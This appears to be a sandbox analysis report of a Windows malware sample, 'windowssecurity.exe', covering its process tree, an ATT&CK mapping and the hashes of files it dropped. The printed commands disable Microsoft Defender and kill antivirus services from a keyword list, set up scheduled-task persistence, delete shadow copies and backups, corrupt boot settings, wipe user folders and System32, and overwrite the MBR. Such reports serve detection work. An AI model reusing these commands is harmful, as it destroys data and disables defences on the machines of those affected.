pid Process 4980 attrib.exe 5180 attrib.exe 2960 attrib.exe 6060 attrib.exe 2000 attrib.exe 1360 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\windowssecurity.exe"C:\Users\Admin\AppData\Local\Temp\windowssecurity.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Users\Admin\AppData\Local\Temp\windowssecurity.exe"C:\Users\Admin\AppData\Local\Temp\windowssecurity.exe"2⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Creates a file in the Startup directory
- Loads dropped DLL
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model3⤵
- Uses WMI to collect hardware manufacturer information
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:252
-
-
C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\imageio_ffmpeg\binaries\ffmpeg-win-x86_64-v7.1.exeC:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\imageio_ffmpeg\binaries\ffmpeg-win-x86_64-v7.1.exe -version3⤵
- Executes dropped EXE
PID:1756
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +s C:\ProgramData\Microsoft\Windows\Caches\083db6824408.json3⤵
- Views/modifies file attributes
PID:4980
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +s C:\ProgramData\Microsoft\Z6CJQWmtH9\b9iTERrgL.exe3⤵
- Views/modifies file attributes
PID:5180
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +s C:\ProgramData\Microsoft\Z6CJQWmtH93⤵
- Views/modifies file attributes
PID:2960
-
-
C:\Windows\SYSTEM32\icacls.exeicacls C:\ProgramData\Microsoft\Z6CJQWmtH9 /inheritance:r /grant:r *S-1-5-18:(OI)(CI)F /grant:r *S-1-5-32-544:(OI)(CI)F /grant:r *S-1-5-32-545:(OI)(CI)RX3⤵
- Modifies file permissions
PID:4192
-
-
C:\Windows\SYSTEM32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f3⤵PID:2444
-
-
C:\Windows\SYSTEM32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /f3⤵PID:2424
-
-
C:\Windows\SYSTEM32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f3⤵PID:5804
-
-
C:\Windows\SYSTEM32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DisableCAD /f3⤵PID:1832
-
-
C:\Windows\SYSTEM32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoRestartShell /f3⤵PID:3744
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN o21QSRQB4AWn /TR "cmd /c start \"\" /min \"C:\ProgramData\Microsoft\Z6CJQWmtH9\b9iTERrgL.exe\"" /SC ONLOGON /RL HIGHEST /F /DELAY 0000:453⤵
- Scheduled Task/Job: Scheduled Task
PID:4268
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN o21QSRQB4AWn_b /TR "cmd /c start \"\" /min \"C:\ProgramData\Microsoft\Z6CJQWmtH9\b9iTERrgL.exe\"" /SC ONSTART /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
PID:1716
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\o21QSRQB4AWn.vbs"3⤵
- Creates a file in the Startup directory
- Views/modifies file attributes
PID:6060
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionPath \"C:\ProgramData\Microsoft\Z6CJQWmtH9\" -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4896
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionProcess \"b9iTERrgL.exe\" -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4472
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\" -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:700
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionProcess \"C:\Users\Admin\AppData\Local\Temp\" -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4108
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionPath \"C:\Windows\Temp\" -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5044
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionProcess \"C:\Windows\Temp\" -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "chcp 65001>nul & systeminfo"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\chcp.comchcp 650014⤵PID:568
-
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:1196
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
PID:4408
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; $kw = @('avast','avg','kaspersky','eset','bitdefender','mcafee','norton','symantec','malwarebytes','avira','sophos','fortinet','fortiedr','panda','trend micro','g data','webroot','crowdstrike','sentinelone','cylance','carbon black','quick heal','defender','msmpeng','securityhealth') Get-CimInstance Win32_Service | ForEach-Object { $s = \"$($_.DisplayName) $($_.PathName)\" foreach ($k in $kw) { if ($s -match $k) { sc.exe stop \"$($_.Name)\" 2>$null | Out-Null reg add \"HKLM\SYSTEM\CurrentControlSet\Services\$($_.Name)\" /v Start /t REG_DWORD /d 4 /f | Out-Null break } } } Get-Process | ForEach-Object { foreach ($k in $kw) { if ($_.ProcessName -match $k) { Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue; break } } } "3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:244 -
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" stop mpssvc4⤵
- Launches sc.exe
PID:1948
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\mpssvc /v Start /t REG_DWORD /d 4 /f4⤵
- Modifies security service
- Modifies registry key
PID:4768
-
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" stop SecurityHealthService4⤵
- Launches sc.exe
PID:2960
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService /v Start /t REG_DWORD /d 4 /f4⤵
- Modifies registry key
PID:3788
-
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" stop Sense4⤵
- Launches sc.exe
PID:4600
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\Sense /v Start /t REG_DWORD /d 4 /f4⤵
- Modifies registry key
PID:3936
-
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" stop WdNisSvc4⤵
- Launches sc.exe
PID:5748
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f4⤵
- Modifies Security services
- Modifies registry key
PID:4860
-
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" stop WinDefend4⤵
- Launches sc.exe
PID:4592
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f4⤵
- Modifies security service
- Modifies registry key
PID:4372
-
-
-
C:\Windows\SYSTEM32\reagentc.exereagentc /disable3⤵
- Drops file in Windows directory
PID:2804
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:5828
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit /deletevalue {default} recoverysequence3⤵
- Modifies boot configuration data using bcdedit
PID:1864
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit /delete {current} /f3⤵
- Modifies boot configuration data using bcdedit
PID:5540
-
-
C:\Windows\SYSTEM32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5780
-
-
C:\Windows\SYSTEM32\wbadmin.exewbadmin delete systemstatebackup -quiet3⤵
- Deletes System State backups
- Drops file in Windows directory
PID:1212
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off3⤵
- Power Settings
PID:1332
-
-
C:\Windows\SYSTEM32\attrib.exeattrib -h -s -r C:\Boot\BCD3⤵
- Views/modifies file attributes
PID:2000
-
-
C:\Windows\SYSTEM32\attrib.exeattrib -h -s -r C:\EFI\Microsoft\Boot\BCD3⤵
- Views/modifies file attributes
PID:1360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Users\Admin\Downloads""3⤵
- Executes a command shell one-liner
PID:3772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Users\Admin\Desktop""3⤵
- Executes a command shell one-liner
PID:3440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Users\Admin\Documents""3⤵
- Executes a command shell one-liner
PID:4264
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Users\Admin\Music""3⤵
- Executes a command shell one-liner
PID:920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Users\Admin\Pictures""3⤵
- Executes a command shell one-liner
PID:4444
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Users\Admin\Videos""3⤵
- Executes a command shell one-liner
PID:3840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Users\Admin\AppData\Local\Temp""3⤵
- Executes a command shell one-liner
PID:3124 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4768
-
-
-
C:\Windows\SYSTEM32\icacls.exeicacls C:\Windows\System32 /grant *S-1-5-32-545:F /t /c /q3⤵
- Modifies file permissions
PID:1240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Windows\System32""3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Executes a command shell one-liner
PID:1248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "rd /s /q "C:\Windows\SysWOW64""3⤵
- Executes a command shell one-liner
PID:2184
-
-
C:\Windows\SYSTEM32\bootsect.exebootsect /nt60 SYS /force /mbr3⤵PID:4780
-
-
C:\Windows\SYSTEM32\bootsect.exebootsect /nt60 ALL /force /mbr3⤵PID:5916
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "[Console]::OutputEncoding=[System.Text.Encoding]::UTF8; (Get-Disk | Where-Object { $_.IsBoot }).Number"3⤵
- Command and Scripting Interpreter: PowerShell
PID:4272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "shutdown /r /f /t 3"3⤵
- Executes a command shell one-liner
PID:4704 -
C:\Windows\system32\shutdown.exeshutdown /r /f /t 34⤵PID:5472
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵PID:2876
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E0 0x00000000000004E41⤵PID:4424
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc1⤵PID:1712
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
PID:3592
-
C:\Windows\system32\cmd.execmd1⤵PID:4100
-
C:\ProgramData\Microsoft\Z6CJQWmtH9\b9iTERrgL.exe"C:\ProgramData\Microsoft\Z6CJQWmtH9\b9iTERrgL.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:248 -
C:\ProgramData\Microsoft\Z6CJQWmtH9\b9iTERrgL.exe"C:\ProgramData\Microsoft\Z6CJQWmtH9\b9iTERrgL.exe"2⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model3⤵
- Uses WMI to collect hardware manufacturer information
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4408
-
-
C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000000f82\imageio_ffmpeg\binaries\ffmpeg-win-x86_64-v7.1.exeC:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000000f82\imageio_ffmpeg\binaries\ffmpeg-win-x86_64-v7.1.exe -version3⤵
- Executes dropped EXE
PID:5860
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵PID:5840
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:4772
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵PID:568
-
C:\Windows\system32\werfault.exewerfault.exe /hc /shared Global\b1b7ed6d328a4fa5b77c4a26a58498d9 /t 400 /p 18641⤵PID:5708
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"1⤵PID:2000
-
C:\Windows\System32\PickerHost.exeC:\Windows\System32\PickerHost.exe -Embedding1⤵PID:2732
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3992855 /state1:0x41c64e6d1⤵PID:4960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4268
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:3508
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Windows Management Instrumentation
2Persistence
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Hide Artifacts
2Hidden Files and Directories
1Ignore Process Interrupts
1Impair Defenses
5Disable or Modify Tools
3Indicator Removal
3File Deletion
3Modify Registry
7Virtualization/Sandbox Evasion
5System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tvkylkc.v0q.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000000f82\comtypes-1.4.17.dist-info\WHEEL
- Size 91B
- SHA256 61532836a2b3111b7ec23519c09df7c41180c27165fb872a6d8913b566b88ad1
- MD5 59d279483e0936a7e30b559dda57b2fc
- SHA1 9f30bc7c343b776aec520cfac119dcf122761a3f
- SHA512 66f1d5f1571376faa1a5450781ea4b2668afe4814121f4536239269b20f43f4b1da922f64f16b7f9f171194115542029fd17647a6244c6e83baa15931a6c245e
- TLSH T122B01215094014FC14A1EE134064A1201A6085455895607DB44A03486589D4807CEC5E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\VCRUNTIME140.dll
- Size 174KB
- SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
- MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
- SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
- SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
- SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
- TLSH T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\VCRUNTIME140_1.dll
- Size 48KB
- SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
- MD5 bbfa92d8173376c972fd58dcf5ca6aaa
- SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
- SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
- SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
- TLSH T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_asyncio.pyd
- Size 75KB
- SHA256 d748d31d3574958c47b935e1263c24abc8bc78ba1ece877c4d87392dfceb9b45
- MD5 b06770e44cf5c467ae3eb62770df03d5
- SHA1 b48e210990770ec312f081ee740c6b95f3becf5e
- SHA512 83e495b10e23c2215a9e9293e34cc9998128abd9d7c877b27b333034925ab0f7b6ed85a64b065c3154428ab5182ad922cf47ee1fbb3c1c6233fc4d3076a01f20
- SSDEEP 1536:U1LeCsFOgOpesvYZ+27DrJNYIPDniayjKdLi9ZfIEJMt:CefId2D7DrJNYIPDnV7t
- TLSH T16A735C82A2E44182E9679178C9675F83FFB0F5516B0093DF5198C19F2F633E18BBA325
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_bz2.pyd
- Size 84KB
- SHA256 37cbaeff9be4494f682eafe4adb642178f9c7277d4cda9ec343cfc06849a263b
- MD5 e3035138d1373e96e169e4c446b18e76
- SHA1 101cd23556bc0a8c4728460c4bf0bd15fa0f3d7e
- SHA512 935bafffde5f9e90f866533c863087fdca6df0e176906aad2c7fef4325df2eeb4ae2bc4eaa24096425679c2196feef48c0061392fd5b7a13d5957d37f93f4c47
- SSDEEP 1536:8ssutY90GtePwhFjKjBSnLYK9EJG8jKMi+gIP3VQyjKdLi92t+fIzoG4Zbu:btw0GtePwbuByY2SxuMi+gIP3V2t/EC
- TLSH T109835C52AB7416BAF22B917816B043A3F730BB65172057EFB2C485552F13FD1AE303A9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_cffi_backend.cp315-win_amd64.pyd
- Size 177KB
- SHA256 41f528cda715179bed45be6913f48aa07ae34c2c04f7ebbd74740632096d213d
- MD5 a83d1f610142871d92e60a373fe10492
- SHA1 b4ccf1acf55153e59dd6cee893aed6e490808728
- SHA512 093f18f3735fdcd28593e7536f4324da4fb48d3b984c740329166d8719c21e64f95260d04f1d96d58b50e38d0536a1e869b214d6add0f8832e187e393c7690a5
- SSDEEP 3072:Ge30Qi92bGIECyO/j/m7YHakXfGMNAUTxCRFsHZemR/2nk9C8P7dQSTLkKc1HA//:GmACVL/m7YzuMNAUTxCTsHZemFv08ZQc
- TLSH T1FB045C5A329C10B2D5A64178CA579A83F3B3B460175197CF0160C7B62F1FBE67A7BB80
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_ctypes.pyd
- Size 139KB
- SHA256 746cf693e04ceb5f5468cbd7d1cbd535403693e421dad0d34ff77a25b171bc20
- MD5 d9613a6cc7eeab428957c666ecdcb8b3
- SHA1 ed9ac7f748a1000ba886490f3477d97602f4f4d2
- SHA512 c70af6817bd4053a251364d436470e4f18d6637fd8684a3a9ab0e8da060f7f5aad06b1ab90d35ed7f8ccb4cbc4b755361d7b8e56357dc8e2e7c7bb688be643a4
- SSDEEP 3072:a+oHacqjRXPAuvs2FisZiY70m6FrpOEOq57ze3zxOE8pN3z3xYZjEcIPGP+JE:5nY6i6QreM7zOgT3kjEk
- TLSH T141E35B4B739800A6DB638178C5B39A47EBB1F4516B2053CF0164C99A2F637E2AE3F715
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_hashlib.pyd
- Size 71KB
- SHA256 7ef6760838a5496b47ec3f5a463672e27e23cb9477d20fcde3abf1f41cb3a62f
- MD5 fd912ae98419075e627f70a2919a6127
- SHA1 05ff86214ceb758cdff3c7dcacb512bca4579ce8
- SHA512 2ef23e80a70049f7ee3f5b2f1742d16dfbfff445df5e27d827ef89ad671ba9855beef4d3cc23de336580c885184fd3be32082d0fbd1b05e4b70452acd3f7f684
- SSDEEP 1536:GYa6mLMlYAiZkT303dFtFt1ABIL06YIPDIWyjKdLi9YfIERxO1:wMWAxIFtFt1AqL06YIPDIDJ
- TLSH T1EB636C56964800A1E96381B4C9E34F87E936F662271097DF63A8C18D2F237DBE37A354
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_lzma.pyd
- Size 167KB
- SHA256 cfe42690aac2065f94d9e7df8cf53c523fdce787b9cb1593abe0190ae1d5891b
- MD5 008e6abc565ed25cfadbdf61cf81dc3e
- SHA1 6288e84fa1436348cf615550283ccedc5ef0dd25
- SHA512 401f346436ef67a980e8e8dcd8e4d303374129000a174fe027d535775ba45cc0fba7f4ef1fc24b1d7a82fa7076d7bf91e4f6a0753c04e466d7e64910818e1ad3
- SSDEEP 3072:3sRr+8GAgJ6wLtOGq8YQpsrL0znf19mNoDx5PExmP+gIPI1Ug:3sRr+MgJ6wB67Q0qtYODvE4Wk
- TLSH T12BF32991B258F0D6F3328C34CA964F63E6F97805432092DB018D977D6A2FBE59A76313
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_overlapped.pyd
- Size 56KB
- SHA256 ca19d25294af67b3f718cb65017806e69cbec68eb48bd8876e351b0ead280ab5
- MD5 6f265d5c271acd5df441ddc0905a8f5a
- SHA1 4544624c456da92e0ff2b6db2c592cdfaad2197e
- SHA512 c4394350be36ae13869557dc4f28f199b279ed29a4e6a332b9567862a69ea2a38b210d7be3aaeb4723730af9136dce2bfddecd1b213a0068049e941fbaf538b1
- SSDEEP 1536:jqLOtEEJWmMQrTHkOZ6/d0IPCtByjKdLi9ufIEYk:6mrkOZ6/d0IPCtKe
- TLSH T11B435B4A6B9401D6ED63C17DD2A38E07FA74B293170196DF60A8D2492F737D2B73E284
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_queue.pyd
- Size 35KB
- SHA256 ce5c36c17242234186180d93fc1299a4dbe2f2e049bba6da3dcacad29cbac1ce
- MD5 c247227084e4260716daed18906db966
- SHA1 059c77cf937b882bcf474cbaa586865ab9460976
- SHA512 747344d0858bcd7c90eceb879f8ac05bf1f84b0328fdb612c50644f871f45a0fe769a8a71af47b1404102fcf31fb54a91841d734b3986dd3602db7372114aa19
- SSDEEP 768:FHWYKYCLzytdi5kofcIPRUAAlyjKdAPuBL2Ip4E/QTxf1mlLbkvPwu:F2YCL0di5ZcIPRUAcyjKdLi9E/8fIEnv
- TLSH T120F28FCAA65801E7FA778570C6E6CE83F875F7A3571183DB3068814D1E237C1A77A268
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_socket.pyd
- Size 86KB
- SHA256 a8a469df1c4fadfad6a72d379e1af7591e552c9c24aba0ca3dfd8e2ba8bfdb91
- MD5 2466924026b846b9dd3049a55405972f
- SHA1 e5144b9c4e33355b36b80c010c877aa3f4fb66f5
- SHA512 a23ae0c389785b480c02fa91c71743a7f4f267c8740b3edbd5a7fd628ee558460cf47067df4cd755fe294e85e0a8bb32483cad9c3101cd6cc0e6b330b09e33eb
- SSDEEP 1536:ZTFMxL96MDsyiuK7Oc4M0ypYHiXA+6Xwwzckrf4PcktcIPGwfHyjKdLi9kfIE14:TelsGK6c4HypYHiXAzXwwz1D4EktcIPo
- TLSH T1ED835901A6A041F6EB729175C2638E63FF74B4C11394A7DF1466C65A1F333C2BE3AA85
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_ssl.pyd
- Size 192KB
- SHA256 6ed057907738947eef7e78076d3b2b137b7d1b8c925d19b1b04b520614d23a7a
- MD5 b31776fb765e479449ad081053669bc5
- SHA1 97e15b46d2040e144c299ad449c34251a37c881b
- SHA512 6f9b64fbbf87d8bc47d69dde2e45e20f4a87d8280aba1541858c9eda4d36743933c548c8e90d029179b6e091cca2fc0ab5e8c04f716c809daf5976bbd0ab40db
- SSDEEP 3072:Ugci4V8O3dTrGPMLfIh7ifsjjK6pGs5kL2L+1kTPzXClity1Q5MFe82Iu5tyFjU1:Mi4VNt3ACIh7ifsjjsFp682GA
- TLSH T1EB145947B1945AB7D912E5F9C6234543FBB4F004331297DF48C6D9A20E03787AE7AAA3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\g8MCBHbru\_MEI000013c82\_uuid.pyd
- Size 27KB
- SHA256 10ec572d4cf3f1cca178be12b729a7f0d7b415b53e6025f3091cd97f31bb20ac
- MD5 71b1e34a02abb9187154a0a69bc67625
- SHA1 aa5568b42aefc9a83174b402e492e0d0357a952b
